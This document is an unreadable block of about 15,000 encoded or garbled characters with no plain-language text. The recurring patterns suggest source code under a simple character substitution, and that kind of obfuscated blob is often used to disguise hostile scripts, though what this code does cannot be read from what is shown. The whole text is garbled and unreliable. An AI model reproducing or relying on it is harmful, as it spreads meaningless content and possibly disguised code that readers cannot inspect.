OPP_NGGGIGCWUWRN\C	P_QPRZP__R\CVQV8ZC	P_QPRBVQ\mGGGG	\mGGGGGmGGGVRQU8O^RRONN\mmGS_R^W8O^RRONN\mmmGGG	W
_RUTTON\mmmmGQT88^ON\mC	QR^8GGGGZGGGGWW RUOQT_NO^RRONKG8Q TOPP^NN\mGGGGGOO	QU 
OV^UNO^RRONNKGG8^SU ^ONNGGGGGCS		S^
NGGGGm'^8UVUVOPRQNOCS		S^
GIG^8UVUVOV^QNGGIGC	QR^8N\mm'	QU 
OPRQNOCS		S^
GGIGGG	QU 
OVP^NGGIGGGC	QR^8N\mmmGGGGmGGOCPU	QUGGAAGFSS	_8

8VQONGAAGGWW RUOPQUNOWW RUOTQ_NNNGGmGCTS ^8SGGZGGG 8	O8Q TOP_WNKGGGONN\mGGGGGGGO^8UVUVOPQSNOCTS ^8SNGAAGGGGGF	QU 
OV_PNOV8QU_8ONKGGGGCTS ^8SKGGNNGGGGGmGGGGCTS ^8S<:GGZGGV8QU_8ON\m'8	O	QU 
OP_VNKGGGGCTS ^8SN\mmmmGmGC +(%&+4<^8UVUVOP_UN:GZGGGGW\mG
 RW8TS8STON\mWS	V VQPO8Q TOP_TNKGGGWW RUOP_SNGGGIGCWUWRN\m	\mGGmmGGGGGmmmmGGGOCW_GGGGFZZGGGGEENGmGC +(%&+4<WW RUOVN:GZGCW_\mGGGGW
SU	O^RRONKGCW_N\mGGmGGGGGGGGOCRRNGGmmGC Q
U
U8GGGGZGG8Q TOQT_NO^RRONKGWW RUOPP^NN\mmmGGGGGGGGGGGOO8Q TOV^UNO^RRONNKGGGG8^SU ^ONNGGGGGGGGGCUV V 
 NGGmG'	QU 
OPRQNOCUV V 
 GIGWW RUOV^QNGIGC Q
U
U8N\mGGGGmG	OC Q
U
U8KGGGGGCUV V 
 N\mmmmGGGGmmmmGGGGGGG_8U^ P O	QU 
OP_RNKGGCWV8888WRTKGGG	QU 
OPSWNN\m	W
_RUTTON\mmmmGGGQT88^ON\mmmGGGGGC +(%&+4<^8UVUVOP_UN:GGGZGGW\m
 RW8TS8STON\mG



T_WO^RRONKGGGO__LUWSNN\mGGGGGOVRQU8O^RRONNNGGGGGGVVU
O^RRONN\m8	OWW RUOUWWNKGGCW_GIGGGGGG@@GIGGG^8UVUVORRSNONKGWW RUOPSWNN\mmmmGGGGGGGO3GGGC  PNGmGGWS	V VQPO8Q TOP_TNKGGGC  PN\mGGGGGGGGGGGO"	GGGC  PNGmGGGGG	GGmGGGT_TV 		^OWW RUOSUSNN\mmmmGGGGmGmGGGG		GG^_WW_8ONmGGmGGGGGGOFGGGGGG	O	QU 
OS_SNNGGGGGGFG	QU 
OPQUNOWW RUOP_QNNNGmGGGGGGGOWW RUOP_PNO&%47&3/GGGGIGGGG^8UVUVOP__NNNGGGmG8	GGGG&%47&3/GIG8Q TOP__N\mmmmmGGGGGGOFGGG	QU 
OPQUNO	QU 
OP_^NNNGGGGGmG	\mGGmGGGGGGmmmGGGGCRS GGGGZGGGG 8 	ON\mGGGGGGGGGGOFGGG8Q TOPQSNOCRS NNGGGGm	\mGmGGGGGGCGGGZGGGGGON\mmmmGGGGOCRS GGGC	
GGGGGZYGCR
8Q
NGmGOC	
GGZZZGV8QU_8ONNGGGmGG		\mGGmC<C	
:GZGGCR
8Q
\mmG	GGGGC\mmmmGGGGG		G
V^TQOCWSSKGGGCRTSWUNmGGGGGmGGGGGmmGGC	TGGGGGZGGGGG'	QU 
ORSPNOCWSSKGGKGGGG	KGWKGOUPRRSQLUS_PSUNN\GGmGGOFGGC	TNGGGGmGGGGGGG	GGG\mGGGmGGmmmGGOCRTSWUGGGGGGGGC_U
WNGmGGmGOFG^8UVUVOP^WNOC_U
WNGGGFGGGC_U
WGG	QU 
OPW^NOC_U
WNGYGGOSWS^LSPNNGGGGmGGGGGG		\mGmGGmGGGGGGGmmmmGGCUUTVVGGGGGZG'8Q TOPPNOC_U
WKGGGC	TN\mGGGO3GGC^
UQWNGmGGWS	V VQPO8Q TOP^VNKGGGGC^
UQWN\mGGGGGGG		\mGGGO"	GC^
UQWNGGmmmGGG		\mmHHGG	J
		G	mmGmmmmGGGOCUUTVVNGGGmGGGGGG	GG\mGGmm	GGGGGG\mGGmGGGGmGG		G8V ROC 	8	
NmGGGGmGGCRTSWUGGGZGC +(%&+4<WW RUOQ^UN:\mGGOFGG^8UVUVOPQSNOCRTSWUNGGGGG
OCRTSWUNNGmG	GG\mmGGGGGGGOFG	OWW RUOS_SNNGGGG
OC 	8	
NGGGGGG^8UVUVORQ_NOC 	8	
KGG^8UVUVOUT^NNGFZZGGGNGGGGmGGGG	G\mGGGGmmGGmC	VRGGZGGGGG0787+2 .)8#.5GGIGGG@H@GGIGGGGGC 	8	
\mGGGGO^8UVUVOV^UNOC 	8	
NGGZZZGGGGGG@I@NGGmGGGCRT P 8VGGGZGGGOC	VRN\mGGGGGmmmC
Q^	R8S	GGZGG	QU 
OP^UNOC	VRN\mGGGGGGGGGOFG	QU 
OVSTNOC
Q^	R8S	NGGGGGFG8Q TOP^TNOC
Q^	R8S	NNGmGGGG	GGG\mGmCRT P 8VGZGGGGGTRSVT8OC
Q^	R8S	KGGGOWW RUOP^SNKGG8Q TORVWNKGGGG	QU 
OP^RNKGGGGG^8UVUVOP^QNKG8Q TOP^PNNN\mGGGGmmmmmGGGGGOCRT P 8VGGGGGGGGGGCWSSNGGmGGGGGOFGG^8UVUVORQTNOCWSSNNGGmGG		\mmGGmGGGGGGO
V^TQOCWSSKGGCRTSWUNNGGGGGmmmmGGG	GG\mmGGGGGGmGGG	GG\mGGm		GTRSVT8OC
Q^	R8S	KGGGCQVPT^QUKGCW_GZGGGWKGGGGGGACVTR8  8GZG	KGGGAC^VGZGG	NmGmmGGCGGGGGZGGGON\mmGGGOCW_GYGOTLRNNGGmGGGGGGG	GGGC\mGGmHHGGmmmGGGGOCVTR8  8GGZZZG	NGGGGGGC_	PTWP8_ZQRLTU\CP8	U_ZC_	PTWP8_JV\mmGCVTR8  8GGGGZGGON\mmGGC^VGGGGGZGG	QU 
OQPVNONGGGGGLGGGGOVL^N\mmmGGGGGmmmGGGGGGGO^8UVUVOQPVNONGGGGYGGC^VNGGGGGmGG	GGC\mGmGOFGGGGWW RUOVSTNOC
Q^	R8S	NNGm	GGGGGGC\mGmC8SUSS^S	GGZG'8Q TOVPVNOC
Q^	R8S	N\mGGGGGGGOC8SUSS^S	GGFZZGGGGNGGmGGOOCVTR8  8<C8SUSS^S	:NNGGm	GGGGC\mGGGGmGGCVTR8  8<C8SUSS^S	:GZG\mmmGmCVPT
8GGGGZGGVSOC
Q^	R8S	N\CS^
WRZOWSLWS_N\C
W	R8ZCS^
WRBVW\mGGGOFGWW RUOPQSNOCVPT
8NNGC  V
SZ7/78.)38*&?H7/78.)38*&?\CPRWZC  V
SLVP\mGGG	GGGGC\mmmmGGGGmGGGGGGGGOCVPT
8GGGGGGGC UPNGGGGmHHG745JSG	
]GGmmmGGGGGO	QU 
OQPVNONGGYGC^VGGGG	QU 
OP^_NOCNGGYZGGOU_TLUVPNNGGGGmG\mGGGGGmmmmGGC	VRGGGZGGC
Q^	R8S	GGIGG@H@GGGGGGIGGC UP\mmmmGGGGO'WW RUOP^^NOC	VRNNGGGmGGGGG		\CVTW^ZVQTT\CQTV_VV ZCVTW^BT\mGGGmGGGO'WW RUOVSTNOC	VRNNGGCQUUWPZQULRW\C^VUZCQUUWPJU^\mGGCGGZGG	QU 
OSWTNOCKGTRSVT8OC	VRKGGGCQVPT^QUKGGCW_GGGGLGVKGCVTR8  8KGC^VNN\mGGGGGGGGGGGGO'^8UVUVORQTNOC	VRNNGGGGGmGC8W
GGZGGWW RUO_WWNOC	VRKG		O	QU 
O_WVNNN\mmmmGGGGGGC8W
GGGGZG^8UVUVOP^WNOC8W
NGXGG	QU 
O_WUNOC8W
NG]GGEE\mmmmGGGGGGGO8Q TOV_PNOC8W
KGGCQVPT^QUKGGGGGGNNGmC<:GZGGGGGGC	VR\mmmmGGGmGmGmHHG	G	G	mmGGGG	GC\mmGGGGGGmGGGGGmG		GGGQ^	__	
POC 	8	
NmGmGmmmGGGOFGGG	QU 
OP^WNOC 	8	
NGGGGGGGGFGGGGC 	8	
NGGGGmGG	G\mmmmmmmGGO^8UVUVO_WTNOC 	8	
KGGG8Q TOUT^NNGGFZZGNGGGGGGmGGG	GGGGG\CTRS_ZRWL^R\CQV^T
PP8ZCTRS_JUP\mmmC 	8	
GZGG^8UVUVOQQUNOC 	8	
N\mGOC 	8	
GZZZGGGGGV8QU_8ONNGGmHMG		G	JGMHmmG	GGGGG\mmGmGGGGOFGWW RUOPQUNO^8UVUVO_WSNNGGGGGAAG^8UVUVOP_PNO&%47&3/GIGGGGG8Q TOP__NNNGGGGmHHG7/74	GG^GGmmG8	GG&%47&3/GGGGIGG	QU 
O_WRN\mmGGGGmGGGmGGGGGGGO	QU 
O_WQNO8Q TO_WSNNGGGGAAGG8 	8OC 	8	
NNGmGGGGGGG8 	OOC 	8	
NKGGGGN\GmGGGmGmC
Q^	R8S	GGZG	O8Q TOS_SNNGXGGG0787+2 .)8#.5GGGGGGIG@H@GGIGGG	QU 
O_WPNOC 	8	
NGGGGG]GGGEE\mGGGGGGGOC
Q^	R8S	GGAAGGG^8UVUVO_W_NOC
Q^	R8S	NGGGGAAGGGGGG8Q TO_W^NOC 	8	
NGGFZZGGG@I@GAAG	QU 
O_VWNOC 	8	
NNGGmGGGO_PU^SWT^
OC
Q^	R8S	NNGGGmGGGGGG	G\mGmmGGmGGGGmmmGGGOWW RUO_VVNO^8UVUVO_VUNNNGGGGmGGmGGGGGOFGGG	QU 
O_VVNOWW RUO_VTNNGGGFGG	88	O	QU 
O_VUNNNGGGmHHG07G4G+	GGmmGGGGGGGGGGOWW RUO_VVNO	QU 
O_VSNNGGGAAG^8UVUVO_VVNO	QU 
O_VRNNNGGGmGCGGGGZGGGG 8OO	QU 
O_VQNGGGZYGGGGWW RUO_VPNKGGGGG8Q TO_V_NGGZYGGGGGVNN\mGGGGOFGG
OCNGGAAGGGC<W:JY.#NGmGWW RUO_VRNOC<W:JY.#N\C
88VTRZ7/78*&-(581"54.()\CS VS R
ZC
88VTRMT\mGGGGGGGGGmmmm^8UVUVO_V^NOVN\mGGGGmGmGGGGmGGGmGCTGGGZGG8 	OOC 	8	
NN\mGGGOFGGGGGG88OCTNNGm	GGONGCT\mGmGmG	GG\mmmGGmmmGmGG		G_PU^SWT^
OC
Q^	R8S	KGGCW_GGGGGZGGWNmmmmmmGGOCW_GYGGOWLWSNNGmG	GG\mmmGGGGGGGGGOFGGGGGWW RUO_UWNOC
Q^	R8S	NGGGGGGGGGC
Q^	R8S	GGZZZGEEGGGGGGGGG8Q TO_WTNOC
Q^	R8S	KGGG8Q TO_UVNNGGGFZZGGGGNGGGmmmG	GGG\mGGmCTW S^TWGZGGG'^8UVUVOVPVNOC
Q^	R8S	N\mGGGOCTW S^TWGZZZGGGGGGGFGGG^8UVUVO_W_NOCTW S^TWNNGGGmG	G\mGmGGGGGC 	T^_WGZG	OWW RUO_UUNNGGGGXGGG'8Q TO_UTNO0787+2 .)8#.5NG]GGGG\mGGGGGOC 	T^_WGZZZGGGOCTW S^TWGGGGGFZZGGC 	T^_WGGGAAGG8Q TO_USNOCTW S^TWKGGGGGC 	T^_WGGIG#.5"$3(5>84"7&5&3(5NGGFZZGGGWNNGmGGG	GGG\mGmCPT
VSGGGGGZGG'^8UVUVO_URNOCTW S^TWN\mGGGGGGGGOFG	QU 
OPQSNOCPT
VSNNGmHMG	G	 J	GMHmmG	GG\mGGGmGGGGGGOCPT
VSGGGC
UPTNGGGmGGGGGOC
UPTGZZZG@I@GGGGGGGGGC
UPTGGGGGZZZGG8Q TO_UVNNGGGGGCQ8WZ_SV\CVURVZCQ8WBVV\mmGGGG		\mmmGGGC	VRGGZGGCTW S^TWGGIGG		O	QU 
O_UQNNGGGGIGGC
UPT\mmmmGO'8Q TOP^^NOC	VRNNGmU	U8OC	VRN\mmmmGGG		\mGGmGGGGGGGGGGGGO'	QU 
O_W_NOC	VRNNGGmmmGGGG_PU^SWT^
OC	VRKGGCW_GGGGGGLGGVN\mGGGGGGGGGmGGGOFGGU	U8OC	VRNNGmmm



T_WOC	VRKGGOWTLWVQNN\mGGGGU	U8OC	VRN\mGGmGGGmmGGGGGGOFGGGGG'	QU 
O_UPNOCTW S^TWNNGGGm



T_WOCTW S^TWKGGGO_WPJTVSNN\mGGGG'WW RUO_UPNOCTW S^TWN\mmmmGGmmm	GGFGGGGG'	QU 
O_U_NOCTW S^TWN\mGGGGGGmmmGmmmmmGGGGGG		GP^UONmGGGmGGGGmHHG07G"	7]GJ

GmmGGCGGZGGG^_WW_8ON\mmmGGGGGGOFGWW RUOPQSNOCNNGGGmGGGGGG	\mGGGmmGCSV^GZGGGON\mCPR_Q8GGZGGG\mGGGGGGO	QU 
O_U^NOCNGGGGGC	
NGmGmGGGGGGOFGG^8UVUVO_TWNOC	
NNGGGmG		\mGGGmGGGmGCS	QGZGGGGG8Q TO_VWNOC	
N\mmmGGGGGGGGOCS	QGGZZZGG@I@NGGmGGCS	QGZGGC	
\mGmGGGGGGOOCSV^<CS	Q:NNGmG		\mGGGGGGmGGGmGGGCSV^<CS	Q:GZGGGGGG\mGGGO8V ROC	
NNGGGmmGQ^	__	
POC	
N\mmmmmGGGGGCPR_Q8GGGZGGGGGG\mGGGGGmHMGG	GMHmmmmmGmHHG07G4G3]G		GmmmmGGGGmGGO'^8UVUVO_TVNO8^SU ^ONNNGGGmmmGGGGGC TWSUSGGZGGGGVSO8^SU ^ONN\mGGGGO	QU 
O_TUNOC TWSUSNNGGGmGCRTSWUGGZGGGC +(%&+4<8Q TO_TTN:\mGGGGGGGGGOC TWSUSGGGGGC UPNGGmGmGGOC UPGZZZGGGG
_QVONNGGGGGmmmG		\mmGGGGGmGGGmCWSSGGGZGGGG8^SU ^ONGGIG@H@GGGIGGGGC UP\mmGGGGGGGOFGGGG'WW RUORQTNOCWSSNGGGGGG8Q TO_WUNO^8UVUVO_WWNOC UPKGG		OWW RUO_WVNNNNGGGGGFZZGGGGWW RUORVWNNGGGmGG		\mGmGGGmGGO
V^TQOCWSSKGGCRTSWUNNGGmHHG
G	JJ GG07G.		%7mmmmmGGGU	U8OCWSSN\mmmmCPR_Q8GGZGG\mGGGGGGGGmmmGmGGGmmGmGGGGGGGmGCPUTPGGGGZGC +(%&+4<WW RUO_TSN:\mGGOWW RUO_TUNOCPUTPNGGGGGAAGFGGGGG
OCPUTPNNGGGGmGGGO___R OCPUTPNNGGGmGCPR_Q8GGGZGGG\mGGGmmmGGGGGGO3GGC  PNGGGGmGGGGWS	V VQPO8Q TO_TRNKGGGGGC  PN\mmmmGGGGGGGGO"	GGGC  PNGGmGGGGGmGmGGGGm		GG _8TONmmGGGmCWW	UGGGGGZGGGGO	NGGGGG 8	O^8UVUVO_TQNKGGGWN\mmmGGGGOO8Q TORRSNONGGGGJGGCWW	UNGYZGGGGO^VTLUQ_PNNGmGGGGGG8	O	QU 
O_TQNKGGG	QU 
ORRSNONN\mGCRUSRVGZGGOORU
V	ONKGOWW RUO_TPNNNN\mGC	
T ^RGZGG	QU 
O_VVNO^8UVUVOVVSNNGGGGGXGG8Q TOVVSNONGGG]GGGGEE\mGGGGOC	
T ^RGGFZZGGEEGGGAAGC	
T ^RGGGGFZZGGGRU
V	ONNGGGCRUSRV<:GGGGZGGGOC	
T ^RKGGGGGO^8UVUVO_T_NKG8Q TO_T^NNN\mGGOCRUSRVGGGC	  S8NGGmGGGGGGGGOC	  S8<V:GGGGGGCPUR^ _NGGGGmGGGGCS_	GGZG^8UVUVO_VVNOWW RUOQTRNNGGGGXG'^8UVUVOQTRNOC	  S8<W:GIGGG@H@GIGGGGGCPUR^ _GGGIGGG@M@NGG]G\mGGGGGGGGOF	QU 
O_SWNOCS_	NNGGGG		\mGGGGGGGGOCS_	GGGGGGCS	^
NGGmGGOF'^8UVUVORQTNOCS	^
NNGGGG		\mCTS _QGGZGG'	QU 
O_SVNOCS	^
N\mmmGOCTS _QGFZZGGGGGGAAGGGGGOWW RUORRSNONGGJGGCTS _QNGGGGGGYGOUURQLVTSSNNGGGU	U8OCS	^
N\mGGGGGGGmGGGmmmGGGGGC V
TRGGZGGG 8	O8Q TOP_VNKGGONN\mGGGGGGGGOF^8UVUVO_SWNOC V
TRNNGGGGGC V
TRGGGGGGZGON\mGGCU8WVPWQGGGZGG8Q TOQT_NO^RRONKGG8Q TO_SUNN\C T PRZQVM^\C
R8_TZC T PRJ^\mGC8GZGGO	O	QU 
OTWWNNGGXG078$()3")38#.5G]GG&%47&3/GIGGGWW RUO_STNNGGIGGG	QU 
O_SSN\mGGGOWW RUO_SRNO8Q TOQTRNNGXGONGGGG'	QU 
O_SQNOC8GGGIGGGG8Q TOS_QNNG]GGGGGONGGGGGGC^	U
NGGGGmGO8Q TOQT_NO^8UVUVO_VWNOC^	U
NNGGGGZZZGGGGCU8WVPWQNGGG		\mCVWGGZGG8Q TOQT_NO	QU 
O_SPNOC^	U
NNGGIGGG@H@GGIG	QU 
OQT_NOC^	U
N\mGGGGGGGGO8Q TO_S_NOCVWKGC V
TRKGNNGGGGG		\mGGGOF'WW RUOV_RNOC^	U
NNG		\mGGC	8
_T	 	GGGZGGGGG'8Q TOUVWNOC^	U
N\mmmmGGGGGOFC	8
_T	 	GGGGC	8
_T	 	GGGGGYGGOW_U^LWVPUSPNNG		\mGGGC	_	 V_GZGG'WW RUORSPNOC^	U
N\mGGOF8Q TO_TWNOC	_	 V_NGGGGG^8UVUVO_USNOC	_	 V_KGGGG8Q TO_S^NNGGGGGZZZGNGGG		\mGC		8
STGZGG^8UVUVOS^WNO	QU 
O_RWNKGGGGEEKGC	_	 V_N\mGOFWW RUO_RVNOC		8
STNGGGC		8
STGGGGZZZGGGGC	_	 V_GGGFW^RTOC		8
STNNGGGG		\mGGSS8^

TVOC^	U
KGGGGGC		8
STN\mGGGGGO8Q TO_RUNO	QU 
O_RTNNNG'8	OC^	U
KGGGGN\mGGGmmmG	OC V
TRKGGCU8WVPWQKGC8KGGGC^	U
KGGCVWKGGC	8
_T	 	KGC	_	 V_KGGGC		8
STN\mmmmGGGGGGGR	P WVPON\mGmGGGmmmmGCPU
	PGGGGZGGC +(%&+4<	QU 
O_TTN:\mGGCPUTPGGZGGC +(%&+4<WW RUO_TSN:\mmmmGGGGGC
SQR
GZGGGGGO^8UVUVO_SWNOCPU
	PNGAAGGFGG
OCPU
	PNNGGGGO	QU 
O_SWNOCPUTPNGGAAGGFGG
OCPUTPNN\mGGGOFGC
SQR
NGGmGGG	\mGGGGGGGGmmmmGGGGGmGGC	 P^8 GGGGZGGGO	NGGG 8	OWW RUO_RSNKGGWN\mGGGGGOO8Q TORRSNONGGGJGGGGGC	 P^8 NG[GGOQUTRJUQTRNNGGGGmmmmGG	\mGGmmmmGP^UON\mG8	O8Q TO_RRNKGGG	QU 
ORRSNONN\mGGGO3GGGGGGC  PNGGGmWS	V VQPO^8UVUVO_RQNKGC  PN\mmmmGGGGO"	GGGC  PNGGGmmGmGm		GGGGGR_TSR^PONmGGGGGmGGmmmmGGCPR
GGGZGGGGG	W
_RUTTON\mGGGGGOFCPR
GGGGGGG8Q TOPW^NOCPR
NGG[GGGGGO^TQJSTQNNG	\mGGGOFW^RTOCPR
NNGmGWS	V VQPOWW RUO_RPNKGGG	QU 
O_R_NN\mmmm	\mGmmmmGGGO	QU 
O_RUNOWW RUORWVNNGGAAGG 8		O	QU 
O_R^NNNGGGGG	\mGGGGmCP_PTGGGZGGG8^SU ^ON\mGON\mGGGGGGO'	QU 
OP^^NOCP_PTNGGGGGAAGGGGF'WW RUO_TVNOCP_PTNNGGGGCU SW	ZSQQ\CQQZCU SW	BVR\m	\mGGGGGGGmGmGGGOF'	QU 
O_TVNOCP_PTNNGGGGGGmC8 UGGGGZGG'
OWN\mGGPTV8
OCP_PTKGGOSWSL_^NKGN\m'
OC8 UN\mG



T_WOCP_PTKGGGGOSQ^LUSNN\mGON\mGGGGGGGGGGGGGOF'	QU 
O_QWNOCP_PTNGGGF'WW RUOV_RNOCP_PTNNGmHHG	G		J
GJmmGGGG



T_WOCP_PTKGGOS_RL_NN\CW	PTZUT^UUP\CT_ TWZCW	PT9V^\mmmmGGGGGON\mGGmGGGGmGGGGGO'^8UVUVO_TVNOCP_PTNGGGAAGGGGOF'^8UVUVO_QWNOCP_PTNGGGGGGF'^8UVUVOV_RNOCP_PTNNGGAAG'^8UVUVO_UPNOCP_PTNNGGGmGGC8 UGGZGGG'
OWN\mGPTV8
OCP_PTKGGGGORSWJSPNKGGGGGN\m'
OC8 UN\mG



T_WOCP_PTKGOS^ULVNN\mGGGGON\mmGGmGmmGGGGGGGON\mGGGOF'WW RUO_TVNOCP_PTNGGGGF'^8UVUVO_QVNOCP_PTNGGGGGF'	QU 
O_QWNOCP_PTNNGmWS	V VQPOWW RUO_RPNKG^8UVUVO_QUNN\mGGGGO	QU 
O_RUNO	QU 
O_QTNNNGG'8		OWW RUO_QSNKGGVKGOQPPPJTVPPNN\m	\mGmmGGmGGGGGCQ


GZGGCP_PTGGGGIG@H@GGIGG
_QVON\mmGO8
 _R_^OCQ


NNGGGmG	\mmmmmmmGO'	QU 
O_QRNOCQ


NGGAAGGGG'^8UVUVOUVWNOCQ


NGYGGOS^_ULV_NGAAG^8UVUVO_QQNO8 	  OO	 NGGGGG'WW RUORSPNOCQ


NNNGGGGGZZZGGG^8UVUVO_QQNOCPR
NNGGGGmGGGGGS_R^W8OCQ


N\mGGGGGW TRR_QSON\mGGGG8SQT_W^RON\mGGGGG	\mmmmGGGGGO'^8UVUVO_QPNOCQ


NGAAGGG'	QU 
OUVWNOCQ


NGGGYGGOS^UULP_NNGmCWQUV
GGZGGO	 NGG'	QU 
O_Q_NOCQ


KGGKGGGG	KGGGGWKGGGGGGOUWVWLUW_QNN\mGGGGOWW RUO_RVNOCWQUV
NGGAAGGGGGG^8UVUVOPPNO	QU 
OUVUNKGCWQUV
KGGGGC8
NGGAAG	8
OC8
<V:KGG^8
U_U
ONKGGG@Y@NNGGG	\mGGG	OCWQUV
KGGC8
N\mGGGGGmGCQVQR
GGZGGGSS8^

TVOCQ


KGGG_^UQUSOCPR
NN\mmmGGGOFCQVQR
GGGGGGF'^8UVUVO_U_NOCQ


NGGGGG'WW RUOUVWNOCQ


NG[GGGGOWVPLWUVVNGGGGGGGWW RUO_QQNO8 	  OO	 NGGGG'	QU 
O_Q^NOCQ


NNNGFZZG^8UVUVO_QQNOCPR
NNGGmGGGGGOCQVQR
GAAG'8Q TO_PWNOCQ


NNGGGGmGCWQUV
GZGGGGO	 NGGG'8Q TO_PVNOCQ


KGGKGGGGG	KGGWKGORUR_JVVQUNN\mmmGC
UQGGZG	QU 
O_RVNOCWQUV
NGGGGGGAAGGGG	QU 
OPPNOWW RUOUVUNKGGCWQUV
KGGGGGC8
NGGGAAGG	8
OC8
<V:KGG^8
U_U
ONKGGGGGG@Y@N\mGGGGGGGG	OCWQUV
KGGC8
N\mGGOFC
UQNGGGGmmmmGGGG



T_WOCQ


KGOPURJTWRNN\mGU	U8OCQ


N\mmGGGGGGmGGO^8UVUVO_RUNO	QU 
O_QTNNNGG'8		OWW RUO_PUNKGGGVKGGGGGOTWWQLR^SNN\mGGG	\CUWWRZ^^PT\C8 RZCUWWRBU\mGmHMG
G	GMHmmGmGVVU
OCQ


N\mGGGG



T_WOCQ


KGGOU_WLVUNN\mGS_R^W8OCQ


N\mW TRR_QSON\mmmGGGGG8SQT_W^RON\mGGGGO3GGC  PNGGGGmGGWS	V VQPO8Q TO_PTNKGGC  PN\mGGGGGGGGGGGGGO"	GGGGGGC  PNGmHHG07G) 	G%GG		mmGGGGGmmmmGmGGGGG		GGGGP
 	VQONmGGGGGGGGmGGGGmGGCPR
GGZG	W
_RUTTON\mGOCPR
GAAGFS
WTWROCPR
NNGGmC8 UGGZGGGU^ _UO	QU 
OP_RNKGGGGEEN\mGGCTWUGGZGGGGUVP
8O8Q TO_PSNOC8 UNGXGGGC8 UGGG]GGGGEEN\mGGGCTWPGGZGGGUVP
8OCPR
N\mGOFWW RUO_PSNOC8 UNGGGGGGGG8Q TOPW^NOC8 UNG[GGGOUUULUP_NGGGGGGGGS
WTWROC8 UNGGCTWUGGGZZZGEEGGGGGGGGOCTWPGGGGGFZZGGEEGAAG	8
OCTWPKGGGGGCTWUKG@Y@NNNGm_8U^ P O8Q TOP_RNKGGGCPR
KGG8Q TO_PRNN\mmmGGO^8UVUVO_RUNO	QU 
OTQ_NNNGGGGmmmmGG'8	O	QU 
OPSRNKGGGWKG^8UVUVO_PQNN\mGGGG'8	O	QU 
OPSQNKGGGWKGGGGGGWW RUO_PQNN\mGmmmGG'8	O^8UVUVOR_QNKGGGWKGGG^8UVUVO_PQNN\mGmGGGGGGGO	QU 
O_RUNO	QU 
O_PPNNNGG'8		OPS_US^_ONN\mmGmGGGGGmGGGGO^8UVUVO_RUNO	QU 
OPQTNNGGAAGGGG^8UVUVO_P_NO8Q TO_P^NNNGGGGmGGGGCP8QR
_GGGGZGG 8	O8Q TO__WNN\mGGGGGGGGGGGOCP8QR
_GFZZGGGAAGGGCP8QR
_GGFZZG^8
U_U
ONNGGGmG'8	O^8UVUVO__WNKGGGG^8
U_U
ONKGGG8Q TO__VNN\mGmmGGGGGGGGOFGGG8Q TO_P_NO^8UVUVO__UNNGGGGGFGG8	O	QU 
O__WNKGGGGG^8
U_U
ONKGGGGEEKG^8UVUVO__VNNNGGGGGGm	\mmmGmGG 
PRUON\mGGGGGO	QU 
O__TNO	QU 
O_P^NNNGGGmG'8	O	QU 
O__SNKGWKGG^8UVUVO__VNN\mmmm'8	O^8UVUVOPSQNKGGGWKGG8Q TO__VNN\CS RZ__VW\CVP ^
ZCS RBVP\mGG'8	O8Q TOR_QNKGWKG8Q TO__RNN\mmmmmGGGGGGGGO^8UVUVO__TNO^8UVUVO__QNNNG'8		OPS_US^_ONN\mGGmGGGGGGGGOCPR
GAAGGFS
WTWROCPR
NNGm_8U^ P O	QU 
O__PNKGGCPR
KGGWW RUO___NN\CS	ZJQSP\CWQR	UZOCS	YWNXCS	]JCS	\mGGGGGGmGGGGGGP SQO	N\mmG



T_WO^RRONKGGOW_LW^_NN\mGmGGGGGG_ O8Q TO__^NKGGWW RUOS^_NKGGWN\mGmGGG_ O	QU 
O_^WNKGGG8Q TO_^VNKGGWN\mmGGO3GGC  PNGGmGWS	V VQPOWW RUO_^UNKGGGC  PN\mGGGO	QU 
O__TNO8Q TO_^TNNNG'8	O^8UVUVO__WNN\mGGGO"	GGGGGC  PNGGGmGGO^8UVUVO__TNO^8UVUVO_^TNNNGG'8	O8Q TO__WNN\C
W 
QZOWLW_WN\CRV UZC
W 
QBT\mGmGGGmGGG		GG
 V
^8UQONmGGGCTUS ^R^ZTPLTR\C^U^^8SZCTUS ^R^JVS\mGGGGGmmGGGGGO	QU 
O__TNOWW RUOPPVNNNGmG'	QU 
OPPVNO
8O@H@NKGGGGO^8UVUVO_^SNGGZYGGGGGOST9SQNKGG8Q TOPQWNGGZYGKGGGGGWW RUOSTUNGGGGGGZYGGGGNN\mGmmGGGGO3GC  PNGGGmGGGGGGGGWS	V VQPO	QU 
O_^RNKGGGGGC  PN\mGGGGGGGO"	GGC  PNGGC ^ZVLRR\CVS
Q^ZC ^JTT\mmmGmmmmmGGGGGmGG		GGGGG	VT8S88ONmmGGGGGC U^	GGZGGG\mGGGGGGGGGGOC U^	NGGG	\mGGGC U^	GGGGZGG\mGGGGGGGmGGGGGGGGOFG8Q TO__TNO8Q TO_^QNNGGGGGFG8
	ONNGGmmGG	\mGGGGmGGGGOF8Q TO_^PNO^8UVUVO_VTNNGGGF	88	OWW RUO_^_NNNGGGGmHHG07G$
G+	]G	G	
J
mmGGGG	\mGGmC 8QPTSGZGGOC85"62"43<^8UVUVO_^^N:NGXGC85"62"43<WW RUO_^^N:GGG]GGEE\mGGC 8QPTSGGGZG8Q TO_PSNOC 8QPTSNGGXGGGGG8Q TOQQUNOC 8QPTSNGGGGG]GGEE\mGGOC 8QPTSGGFZZGG	QU 
O^WWNGGGGAAGC 8QPTSGGGFZZG^8UVUVO^WVNNGmGGGGG	\mGGGmGGGGGGGmGGCVSWGGGGGZGGGON\mGGGGGGGOC 8QPTSGGGGGGZZZG^8UVUVO^WWNNGGmGGGCV^ST WGGGGGZGOC85"62"43<WW RUOQ_RN:NGGGGXGGGC85"62"43<WW RUOQ_RN:G]GEE\mCV^ST WGGZG8Q TO_PSNOCV^ST WNGXGGGGG^8UVUVOQQUNOCV^ST WNGGGG]GGEE\mGGGGGOCV^ST WGGGAAGGGCV^ST WGGGFZZGGV8QU_8ONNGGmCVSW<:GZGGGGCV^ST W\mGGGGmGGGmGGGmmGGCT PGZGOC85"62"43<	QU 
O^WUN:NGXGGGGC85"62"43<	QU 
O^WUN:GGG]GGGGGGON\mGGGGGGGCT PGGGGZGGGGGG	QU 
O_SWNOCT PNGXGCT PGGG]GON\mmGGOCT PGGGGGGGCV^ST WNGGmGGGCV^ST WGGZGGGWW RUO^WTNOCV^ST WNGGXGGGGG8Q TOQQUNOCV^ST WNGG]GGEE\mGGGGGOCV^ST WGGGAAGGCV^ST WGGFZZGGV8QU_8ONNGGGGCW	8SZ^MT\C^TUS_VRZCW	8SJRW\mmCVSW<:GGZGGCV^ST W\mGGGGGGGGmGmmmGGGGGGGGO
